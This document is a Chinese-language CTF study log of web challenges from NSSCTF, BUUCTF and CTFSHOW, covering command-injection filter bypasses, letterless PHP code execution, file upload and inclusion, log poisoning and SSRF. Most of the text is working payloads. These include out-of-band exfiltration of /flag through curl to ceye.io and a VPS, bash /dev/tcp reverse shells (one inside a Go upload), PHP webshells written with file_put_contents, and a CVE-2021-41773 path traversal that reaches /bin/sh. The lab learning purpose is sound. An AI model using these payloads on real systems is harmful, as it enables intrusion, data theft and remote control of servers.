(1)RCE
NSSCTF
[MoeCTF 2021]babyRCE
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}
正则表达式过滤了很多命令,所有数字,还有空格
但是查看目录命令没有被过滤,查看一下
直接看到 flag.php ,其实直接cat就可以了
cat被过滤的话换成 c\at 即可,flag也换成fl\ag(即 fl\ag.php)
但是写这题的原因主要是记录一下绕过空格过滤的几种方法
1、$IFS
$IFS默认是空格+Tab+换行,可配合任意字符或花括号展开。
?rce=ca\t${IFS}fl\ag.php
空白页看源代码即可
# | 绕过写法 | 原理&示例 payload | 适用场景 |
---|---|---|---|
1 | $IFS 系列 |
$IFS 默认是空格+Tab+换行,可配合任意字符或花括号展开: |
Linux bash 最常见,CTF/渗透通杀 |
2 | {cmd,arg} 数组展开 |
bash 的花括号会把逗号替换成空格: 等价于 |
bash/zsh,靶机里经常能用 |
3 | < 重定向符 |
把文件内容重定向到命令标准输入: | 无需空格,所有 POSIX shell 通用 |
4 | Tab %09 或 \t |
水平制表符在 URL 解码后就是空白: | PHP 的 system() 、Perl 等通过 GET 传参场景 |
5 | URL 编码 %20 / \x20 |
直接给空格换马甲: | Web 场景最常见,但容易被 WAF 二次解码拦截 |
6 | 反引号+转义 | 反引号内不解析空格过滤: cat\ /etc/passwd`` |
老系统或过滤不严时可用 |
7 | 命令替换 | 用 $() 或 `cmd` 生成空格: |
需要二次命令执行,适合无长度限制场景 |
8 | 通配符 * ? [ ] | 把空格省掉,用通配符匹配: | 读取文件时超好使,配合 tac/head 绕过 cat |
9 | 换行符 %0a / \n |
换行同样能分隔命令: | 在 POST、上传文件名、日志注入里常用 |
10 | 自写 shell 变量 | 提前定义一个含空格的变量: | 极端过滤场景,需要可控环境变量 |
2、URL编码空格
但是发现URL编码空格行不通,hacker了
3、重定向
?rce=c\at<\fl\ag.php
但很明显,小于符号也被过滤,所以重定向也out了
[NSSRound#4 SWPU]ez_rce
没有源代码不知从何入手
但是看了一下标签是CVS泄露
也是说CVE漏洞,路径穿越漏洞,相关介绍这篇博客容易懂:
CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现_cve-2021-41773复现-CSDN博客
目录遍历
/etc/passwd
是 Linux 和类 Unix 系统中的一个重要配置文件,用于存储用户账户的基本信息。所有用户账户(包括系统账户和普通用户)都会在这个文件中有一行对应的记录
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
双写编码+目录遍历,其目的是绕过 WAF / 中间件对 ../
的检测 ,最终让服务器执行 /bin/sh
/cgi-bin/ 是入口目录,一般可执行 CGI 脚本,中间部分是5个 .. url编码,/bin/sh 最终路径指向系统shell
也就是从 /cgi-bin/ 退出到根目录, 再进入 /bin/sh ,成功逃逸Web根目录,最终拿到shell 执行权限
抓包一下POST传入这个payload
echo;grep -r "NSS" /flag_is_here //-r表示递归查找子目录中的文件
grep详细用法:Linux grep 命令 | 菜鸟教程
[HNCTF 2022 WEEK2]Canyource
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?> please input code
正则表达式不用说,主要是下面的白名单匹配
{if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
这里白名单校验主要是确保 code 参数仅由无参数的函数调用组成(即a() b() 但不能是 a(1) 或 system('ls'))
\W 表示非单词字符,等价于 [^a-zA-Z0-9_] 而 [^\W] 就是单词字符 ([^abc] 代表匹配非abc 以外的元素 )
+\((?R)?\)
\( 和 \) 匹配字面量括号 ( )
(?R)表示递归匹配整个正则表达式
(?R)? 表示递归部分可选 (即允许 a(b()) 但不允许 a(1) )
这道题过滤不严格,所以可以用很多函数
localeconv() //函数返回当前语言环境的数字和货币格式信息(如小数点符号、货币符号等)
pos()(或current) //获取数组的第一个元素的值
next //将内部指针指向数组下一个元素并输出
scandir() //列出指定目录下的所有文件和子目录
arry_flip() //交换数组的键和值
arry_rand() //从数组中随机返回一个或多个键(随机读取键名)
arry_reverse() //翻转数组
readfile() //读取文件内容并直接输出到缓冲区(如 HTTP 响应)
var_dump() //输出数组,可以用print_r代替
file_get_contects() //读取文件内容, show_source,highlight_file echo 可代替
get_defined_vars() //返回所有已定义变量所组成的数组(包括$GET $POST 等超全局变量)
end() //读取数组最后一个元素
eval() //这个很熟悉,执行字符串中的PHP代码
直接利用函数构造
解法一:
?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));
先用localeconv() 和 pos() 获取当前目录,再用 scandir() 列出当前目录文件,最后输出
Are you kinding me ?别以为是报错了,因为readfile是将结果输出到http缓冲区,所以F12打开查看器看到flag
解法二:
?code=echo(readfile(next(array_reverse(scandir(pos(localeconv()))))));
这个开始和上面的一样,先用localeconv() 和 pos() 获取当前目录,再用 scandir() 列出当前目录文件,但是又用 next() 跳过 . 尝试读取下一个文件,然后readfile() 读取文件内容并通过 echo 输出
解法三:
?code=eval(end(current(get_defined_vars())));&a=system('tac flag.php');
用 get_defined_vars() 返回所有变量,包含$_GET = ['code' => '...', 'b' => 'system("tail flag.php");']
current() 获取 $GET 数组,end() 取出 $GET('b')的值,即system('tac flag.php');
eval执行 system('tac flag.php') 并直接输出
SWPUCTF
[SWPUCTF 2023 秋季新生赛]RCE-PLUS
这题的考点主要是无回显RCE
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
看了这么多博客,无回显RCE的解题思路总结下来就是一句话:
“让靶机把结果送到我看得见的地方”
再根据实战高频场景,把常用方法按“无需外网 → 需要外网 → 高级技巧”三层整理
一、完全不出网
1、时间盲注
通过 sleep ping -c 等制造延迟,通过响应时间差异确认命令是否被执行
curl example.com; sleep 5 # 页面 5s 后返回 → 存在 RCE
2、本地写文件再访问
把结果重定向到 Web 目录或 /tmp
,随后 HTTP 访问。
whoami > /var/www/html/1.txt
curl http://靶机/1.txt
3、把结果塞进报错或日志
让命令在报错里回显,例如故意访问不存在的 XML 实体路径把文件内容带到报错信息里(XXE 无回显常用)
二、能出网但无直接回显(90%ctf实战场景)
·1、DNS 带外(OOB-DNS)
把命令结果作为子域名前缀,触发 DNS 查询即可在平台看到。
# 平台:ceye.io / requestrepo.com
curl `whoami`.xxx.ceye.io
nslookup `cat /flag|base64|tr -d '='`.xxx.ceye.io
注意:域名里不能有空格、/、换行,需要先 base64 再 sed 替换特殊字符
2、HTTP带外
用 curl / wget 把结果打到自建 VPS 或公网记录接口。
curl http://vps/recv.php?data=`cat /flag|base64`
VPS 上的 recv.php
示例:
<?php file_put_contents('flag.txt', $_GET['data']); ?>
3、反弹shell(网络、防火墙允许时)
bash -i >& /dev/tcp/你的IP/2333 0>&1
三、被层层过滤后的骚操作
1、变量拼接+花括号(绕过关键字)
a=c;b=at; $a$b /flag
{c\at,/flag}
2、无数字/字母shell
用 ${#IFS}
取长度、异或、或运算动态拼出所需字符
3、利用 tee/sort 等冷门命令
sort /flag | tee /var/www/html/out
其实总结下来无回显RCE解题/攻击步骤一句话就是:
先时间盲注确认漏洞 → 能出网就用 DNS/HTTP 带外 → 出不了网就写文件再读 → 全被拦就反弹 shell 或变量拼接。
当然这题到是不用这么复杂,试过就用上面的本地写文件再访问即可
这里把写入文件 a.txt
?cmd=ls /|tee a.txt
这个payload也不难理解:
ls / 列出根目录;管道符 | 把左边命令(ls /)标准输出重定向到右边命令的标准输入;
tee 是一个“T型三通”程序:
把来自管道的数据 同时 写入文件 a.txt 并继续送到屏幕;
如果 a.txt 不存在就创建,如果存在就覆盖。
总结下来就是 把根目录下的文件列表输出,并 保存一份到当前目录的 a.txt,方便之后通过浏览器直接访问
现在来访问 a.txt
得到flag目录,接下来直接cat即可,但是由于当前目录不是根目录,所以在cat时不能用相对路径,即cat flag ,而是得用绝对路径 即 cat /flag
第一次就忽略了这个问题没访问到
用绝对路径
?cmd=cat /fl\ag|tee b.txt
[SWPUCTF 2021 新生赛]hardrce_3
无数字无字母
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\^','\~','\|'];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
其实无数字无字母RCE就是一个词:自增自减
解题思路就简化成一句话:
“用 shell 自带的环境、语法或文件系统,把‘数字/字母’拼出来,再把命令拼出来”
一、先确认三件事
1、shell类型:echo $0
看是 bash / dash / sh。
2、可用符号:_ . $ { } [ ] \ ' " < > | & ; ( ) * ? ~ -
是否存活。
3、可用外部命令:ls
, cat
, rev
, xxd
, base64
, gzip
, bzip2
, tar
, awk
, cut
, grep
, find
, diff
, sort
, uniq
, head
, tail
, od
, tr
, printf
等哪些还能用。
(通常 ls
和 cat
一定在,先用它们做“源”)
二、9种无数字字母拼接字符技巧
技巧 | 示例 | 生成字符 | 备注 | |
---|---|---|---|---|
1. ${#VAR} 取长度 |
${#IFS} → 3 |
任意数字 | 最稳 | |
2. $? 返回值 |
$(( $? )) → 0/1 |
0/1 | 配合 $(( )) |
|
3. ~ 家目录 |
~root → /root |
路径里有字母 | 借路径拼 | |
4. 通配符 | /* → /bin /etc /flag |
直接读文件 | 无字母也能列目录 | |
5. 八进制转义 | $'\141' → a |
任意可见字符 | bash 支持 $'...' |
|
6. 十六进制转义 | $'\x61' → a |
同上 | 需 bash | |
7. $(()) 运算 |
$(( 1 + 1 )) → 2 |
任意数字 | 可嵌套 | |
8. 反引号 | `printf '\141'` → a |
任意字符 | 需 printf | |
9. 文件自身内容 | `$(grep -o . /etc/passwd | head -1)→ r` |
逐字节提取 | 终极方案 |
三、5步通用流程
1、找源字符
${#IFS} # 3
${#HOSTNAME} # 长度可能是 4/5/6
2、拼字母表
用 $(())
运算 + ${#VAR}
拼 0-9
0=$(( $# )) # 位置参数个数,不传参即 0
1=$(( $# + ${#?} )) # $? 为 0,则 0+1=1
2=$(( 1 + 1 ))
...
3、拼ASCII码
把数字组合成八进制或十六进制,再用 $'...'
转义
a=$'\141' # 八进制 141 = 'a'
4、拼命令
用 $(printf ...)
或 xxd -r -p
把整段 base64/hex 解码
$(printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67') # cat /flag
5、执行
反引号、eval、或直接 $()
执行即可
`$(printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')`
网上给的口诀:“无数字无字母,先找长度做数字,再用 printf 拼字符,通配符兜底读文件”
自增RCE之前我也做过类似的题:
这题我们构造出A然后通过自增把其他的构造出来
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
但是需要url编码一下
固定格式构造出来的assert($_POST[_]);然后post传入 _=phpinfo();
发现一堆东东,看样子应该是被过滤了
后面得到提示file_put_contents没被过滤
试一下
_=file_put_contents('1.php','<?php eval($_POST[a]);?>');
可以访问
蚁剑连一下看看
然后我看了一下别人的博客,有用取反,奇怪的是源码不是禁止取反吗?
试一下
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>
分别取反就是
%8C%86%8C%8B%9A%92
%93%8C%DF%D0
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
确实不行
但是我看别的博客这样是可行的,我对比了一下我们的payload也没有问题。
(2)文件上传、文件包含
BUUCTF
BUU UPLOAD COURSE 1
随便上传了一个木马.txt文件,但是发现后缀被改了好像是
这个时候看了一下地址栏,疑似存在文件包含漏洞
ctrl+u看了一下网页源码
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<title>上传文件</title>
</head>
<body>
<div style="text-align: center">
<h>文件会被上传到 ./uploads</h>
<form action="index.php?file=upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="upload_file"/>
<input type="submit" value="上传"/>
</form>
</div>
</body>
</html>
也就是无论怎样文件名都会被重命名为 .jpg 格式
又试了一次上传 .htaccess 文件果然
先传一句马访问试试
拼接文件读取
虽然可以预览,但是连不上
也就是马并没有被解析
不对,既然图片标识的GIF89a都显示了,就说明应该是被当做PHP代码执行了
POST传参命令执行一下看看
诶,可以看到PHP配置信息,说明木马生效了
尝试cat flag看看行不行
咦,可以得到flag
可为什么蚁剑连不上
既然命令执行可以如果flag cat 不到可以查看根目录
或者大范围查找 cat /f*
[BJDCTF2020]ZJCTF,不过如此
看源代码有 file 说明应该是伪协议
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
那就根据代码逻辑,利用filter读取一下
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
在线base64解密一下
得到代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
注意到 preg_replace 是 \\1实际等于\1,而\1本身有其他的意思。
先学习一下preg_replace函数
preg_replace 函数执行一个正则表达式的搜索和替换。
preg_replace ( $pattern , $replacement , $subject)
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。\n\n$subject: 要搜索替换的目标字符串或字符串数组。
返回值:如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串.
如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
相关知识点:
php代码审计之preg_replace函数_preg-replace-CSDN博客
在next.php中,complex函数中使用了preg_replace /e模式,会导致preg_replace中的第二个参数会被当做代码执行,但是这里的第二个参数是不可变的,但是存在一种特殊的情况:在正则表达式替换中,strtolower(\"\\1") 这一部分中:
\\1 代表第一个捕获组中的内容。在正则表达式中,用圆括号 () 括起来的部分就是捕获组。捕获组中的内容会被记住,并且可以在替换字符串中引用。\1 是第一个捕获组的引用,在双引号字符串中需要用 \\1 来表示。
strtolower函数的作用是把字符串转化成小写。
preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
所以这段代码的作用就是找到 $str 中匹配正则表达式($re)的部分,然后将匹配到的部分传递给 strtolower 函数,再将strtolower函数的返回值替换原匹配的部分。
所以最后代码执行的就是 preg_replace 中的第三个参数了,这样即使第二个参数是不可变的也可以执行代码。
所以利用这个方法来执行getFlag()函数,再传入cmd来执行命令就可以了。
所以利用这个函数构建\S*=${}即可
\S*:匹配任意非空字符;
\S*=${getFlag()}:将会构造一个匹配,并将捕获组的内容作为代码执行
也就是这段代码会遍历传入的GET参数,将GET传入的变量名给了$re,把变量名的值给了$str,那么这样在传入payload的时候preg_replace就会变成 preg_replace('/(\S*)/ei', 'strtolower("\\1")', '${getFlag()}');
所以构造payload:
next.php?\S*=${getFlag()}&cmd=system('ls /');
执行结果:
换命令抓取flag
next.php?\S*=${getFlag()}&cmd=system('cat /flag');
[强网杯 2019]Upload1
注册一个账户登录
这邮箱还必须符合格式,随便搞了一个还不行
注册后登录进来是文件上传界面
但是这题用dirsearch扫描到压缩包下载到源码后是反序列化魔术方法
刚好下周要学反序列化,这题先放一下
CTFSHOW
web4
进来就提示文件包含
其实之前也不太懂日志文件,就只知道是个记录,然后了解了一下日志文件信息就是日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息。
这题就是日志注入和文件包含,这样的题目之前还没做过
可以用 Wappalyzer查看一下,使用的中间件(Web服务器)是Nginx 1.18.0
日志包含漏洞成因还是服务器没有进行严格的过滤,导致用户可以进行任意文件读取。
前提是服务器需要开启了记录日志的功能才可以利用这个漏洞。
服务器 | 日志存放路径 |
Apache | /var/log/apache/access.log |
Nginx | /var/log/nginx/access.log 和 /var/log/nginx/error.log |
中间件的日志文件会保存网站的访问记录(如HTTP请求行,User-Agent,Refer等客户端信息),如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,其中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
这题中间件既然是Nginx,由上图可知有两种日志,而error.log 可以配置成任意级别,默认级别是error,用来记录Nginx运行期间的处理流程相关的信息;access.log 指的是访问日志,用来记录服务器接入信息(包括记录用户的IP、请求处理时间、浏览信息等)
所以尝试读取它的日志文件:
?url=/var/log/nginx/access.log
一堆看不懂
?url=/var/log/nginx/error.log
再尝试读取Linux系统下的用户信息:
?url=/etc/passwd
上面的结果可以看出是User-Agent的内容,这里在User-Agent里插入一句话木马
但是访问URL时,服务器会对其进行编码,所以可以通过使用bp抓包来进行注入
然后蚁剑连接找到flag
NSSCTF
[NISACTF 2022]babyupload
随便传了一个马文件名报错
F12键打开前端代码得到提示 /source
访问一下下载到了源码
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
看了一下前面的都没什么用,主要是后面这部分关于后端的
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
if "." in file.filename:
return "Bad filename!", 403
这句就是刚报错的原因:如果上传的文件名中包含句点 . 返回 “Bad filename!” 并返回状态码403.
然后生成一个唯一的文件 ID (使用 uuid.uuid4().hex)
再尝试将文件信息插入数据库中(使用 SQLite),并在可能的情况下捕获重复文件名的异常
最后将文件保存到 “uploads/” 目录下,并通过重定向返回文件的 ID
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
根据文件ID查询数据库中文件的路径
如果找不到文件,返回“File not found” 并返回状态码 404,否则使用open() 函数打开文件,并读取文件内容返回给用户
总的逻辑让AI帮忙解读了一下大概意思就是上传的文件不能有后缀名,而且上传后生成一个uuid,并将uuid和文件名存入数据库中,并返回文件的uuid。
最后通过 /file/uuid 访问文件,通过查询数据库得到对应文件名,在文件名前拼接 uploads/ 之后读取该路径下上传的文件。
这就有点矛盾,文件名前拼接了 uploads/ 就只能读取上传后的文件,但上传后的文件又没有后缀名,不能利用
后面注意到 os.path.join() 函数存在绝对路径拼接漏洞
绝对路径拼接漏洞
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。\n\n然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
这样一来就好办了,如果把上传的文件命名为 /flag ,上传后通过uuid访问文件后查询到的文件名就是 /flag, 那么进行路径拼接时, uploads/ 将被删除,就会读取到的是根目录下的flag文件了
试试看
可行
直接访问
[SWPUCTF 2024 秋季新生赛]PHP躲猫猫
提示用GET传参
再用POST
再传
然后访问getfile.php 得到源码
<?php
error_reporting(__FILE__);
highlight_file(__FILE__);
Include('hello.php');
$NSS=$_POST['NSS'];
$ATM=$_GET['CTF'];
$CTF=$_GET['ATM'];
if ($CTF!=$ATM ){
if (is_string($CTF)&&is_string($ATM)){
if (md5($ATM)==md5($CTF)){
include($NSS);//f1ag在/f1ag里面,快通过include拿到它
}else{
echo '诶嘿,但是我就是要让ATM==CTF,不然你就别想拿到f1ag,不服进nss来揍我';
}
}else{
echo '不准无脑用数组,实打实的学才能学得好';
}
}else{
echo 'ATM怎么能是CTF呢';
}
if ($NSS=='I love CTF'){
echo $f1agfile;
}
?> ATM怎么能是CTF呢
这题和之前那题好像有点相似,就是比较ATM和CTF的字符串md5哈希值是否相等,那一组哈希值相等的字符串忘了,找了一下
是这组:
240610708
QNKCDZO
他们的哈希值都是 0e830400451993494058024219903391
那接下来分别赋值就好了
?ATM=240610708&CTF=QNKCDZO
根据代码逻辑同时让NSS= I love CTF
然后直接给NSS赋值 f1ag就可以了
但第一次没加 / 没回显
加了 / 就有了
区别就是没有 /的时候是在当前目录下查找 f1ag,所以无果,/f1ag 则是到根目录下查找。
[NSSRound#8 Basic]Upload_gogoggo
题目描述没有任何过滤
那这题会考什么呢
先传个马看看
这貌似是go命令执行.go文件
抓包观察一下
确实是go命令执行,也就是会执行go上传的文件名,那修改一下文件名看看
比如go
这样看的话发现后台命令执行的格式大概就是 明令执行(go 文件名前缀 文件路径)
这个样子, 所以根据文件名构造执行的命令即可
上传一个 run.go 文件,则理论上会执行 go run run.go
去大佬那搞的马
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/vps/port 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
这道题被出题人隐藏了,flag经过base64编码后分成两部分,一部分在根目录,另一部分在 /home/galf
[HNCTF 2022 Week1]easy_upload
这题应该是环境出问题了,可以直接上传PHP文件
直接传马
猜一下就cat 到了flag
但是发现这题也可以用刚在RCE那里学到的函数套用执行(上面Can you rce那题)
a=var_dump(scandir('/')); //获取目录
a=var_dump(file_get_contents('/ffflllaaaggg'));
当然,写这个主要是发现这种方法可行,但是太麻烦,杀猪不需要宰牛刀
(3)SSRF
NSSCTF
[HNCTF 2022 WEEK2]ez_ssrf
进来是Apache配置服务
用dirsearch扫了一下
先看看 flag.php
不知道有什么用
再看看index.php 得到源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
看了大佬的博客了解到 fsockopen函数
fsockopen函数是PHP中用于建立网络连接的函数之一,其作用是创建一个套接字(socket)连接到指定的远程服务器和端口,并返回一个可以用于读写数据的套接字资源。所以这个函数通常用于客户端与服务器之间的通信。
或者说 fsockopen() 函数建立与指定主机和端口的socket连接。然后,它将传入的base64编码数据解码,并将数据写入到连接的socket中。
那之后就想到用poc构造脚本
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
echo $out;
echo base64_encode($out)
?>
得到data,host为127.0.0.1 port为80
之后就是构造url
GET /flag.php HTTP/1.1\nHost: 127.0.0.1\nConnection: Close
用base64编码
最后简单构造拼接payload
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
BUUCTF
[HITCON 2017]SSRFme1
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
还有个ip
这题也是学习大佬的解题了解到考点:
perl脚本GET open 命令漏洞;open存在命令执行,而且还支持file函数
其实源代码就是先以md5(orang.ip)生成一个hash,放在sandbox下面,然后使用GET命令进行访问,那就可以使用 perl 进行命令执行,但前提是 前面必须要创建一个和这个命令一样的文件,然后将命令执行的结果放到我传进去的文件里面。
先看一下RCE里面有哪些文件
?url=/&filename=a //根目录写入a文件
再通过 sandbox沙盒目录访问
/sandbox/md5加密(orange+ip)/文件
即
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/a
这里需要注意,有的在线md5加密网址不一样,结果出不来,可能是加密位数的差异,多试试就好了(这题是32位)
得到根目录
有 flag 和readflag 两个目录
主要知识点:perl函数看到要打开的文件名中如果以管道符 | 结尾,就会中断原有打开文件操作,并且将命令的执行结果作为这个文件的内容写入,这个命令的执行权限是当前的登录者。如果执行这个命令,会看到perl程序运行的结果。
所以需要先创建一个与我们需要执行命令相同的文件,然后使用管道符截获该流程,使之为命令执行。
然后先创建与命令执行相容的文件:
/?url=file:bash -c /readflag|&filename=bash -c /readflag|
即先新建一个名为 bash -c /readflag| 的文件,用于之后的命令执行
最后修改存储的文件并读取flag输入到存储的文件中去
rce就行了
/?url=file:bash -c /readflag|&filename=666
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
同样的沙盒目录
同样回显的IP用md5加密一下
最后访问
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/666